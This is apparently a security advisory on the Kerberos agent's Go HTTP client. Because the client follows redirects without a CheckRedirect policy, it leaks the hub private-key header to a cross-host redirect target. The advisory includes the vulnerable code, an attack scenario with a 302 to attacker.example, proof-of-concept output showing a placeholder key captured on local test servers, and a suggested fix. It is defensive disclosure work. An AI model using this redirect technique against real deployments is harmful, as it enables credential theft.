Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect (GHSA-h5gx-45rj-2h5j) · Sieve
중간취약점
Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect
// Check if we are allowed to upload to the hub with these credentials.
// There might be different reasons like (muted, read-only..)
req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil)
if err != nil {
errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error()
log.Log.Error(errorMessage)
return false, true, errors.New(errorMessage)
}
req.Header.Set("X-Kerberos-Storage-FileName", fileName)
req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera")
req.Header.Set("X-Kerberos-Storage-Device", config.Key)
req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey)
req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63
req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region)
var client *http.Client
if os.Getenv("AGENT_TLS_INSECURE") == "true" {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client = &http.Client{Transport: tr}
} else {
client = &http.Client{} // line 73 — no CheckRedirect
}
resp, err := client.Do(req)
HubURI is operator configuration:
HubURI string `json:"hub_uri" bson:"hub_uri"`
Attack scenario
An operator configures the agent with a hub_uri.
That host (or a host reachable from it via redirect) responds to /storage/upload with 302 Found to https://attacker.example/....
client.Do(req) follows the redirect and re-sends the request, including X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey, to attacker.example.
The attacker captures the Hub credentials.
Proof of concept
Driver built against the verbatim pinned kerberos_hub.go from v3.6.25. The exported cloud.UploadKerberosHub is invoked. Two hostnames resolve to local test servers so net/http treats the 302 as a genuine cross-host redirect.
Pinned to github.com/kerberos-io/agent/machinery@v3.6.25. Verbatim kerberos_hub.go from that tag. Captured stdout:
legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1)
attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1)
calling cloud.UploadKerberosHub then client.Do
[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)
[INFO] UploadKerberosHub: Upload started for clip.mp4
[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received HEAD /storage/upload
[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)
[legit host legit.example] received POST /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received GET /storage/upload
[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload Finished, 200 OK.
----- RESULT -----
attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target
----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----
attacker saw Authorization = "" (stdlib strips standard auth header cross-host)
attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug)
The negative control on the same bare client and same cross-host redirect shows the standard Authorization header is stripped by net/http, while the custom X-Kerberos-Hub-PrivateKey is forwarded — confirming the leak is specific to the custom-named auth header.
Suggested fix
Set a CheckRedirect policy on the client used in UploadKerberosHub (and the other Hub helpers in this file) that strips the X-Kerberos-Hub-PrivateKey / X-Kerberos-Hub-PublicKey headers (and any other custom auth headers) when the redirect target host differs from the original request host:
A regression test should assert that after a cross-host redirect the X-Kerberos-Hub-PrivateKey header is absent at the final host, and that same-host redirects still carry it.
Fix PR
A fix PR implementing the CheckRedirect strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.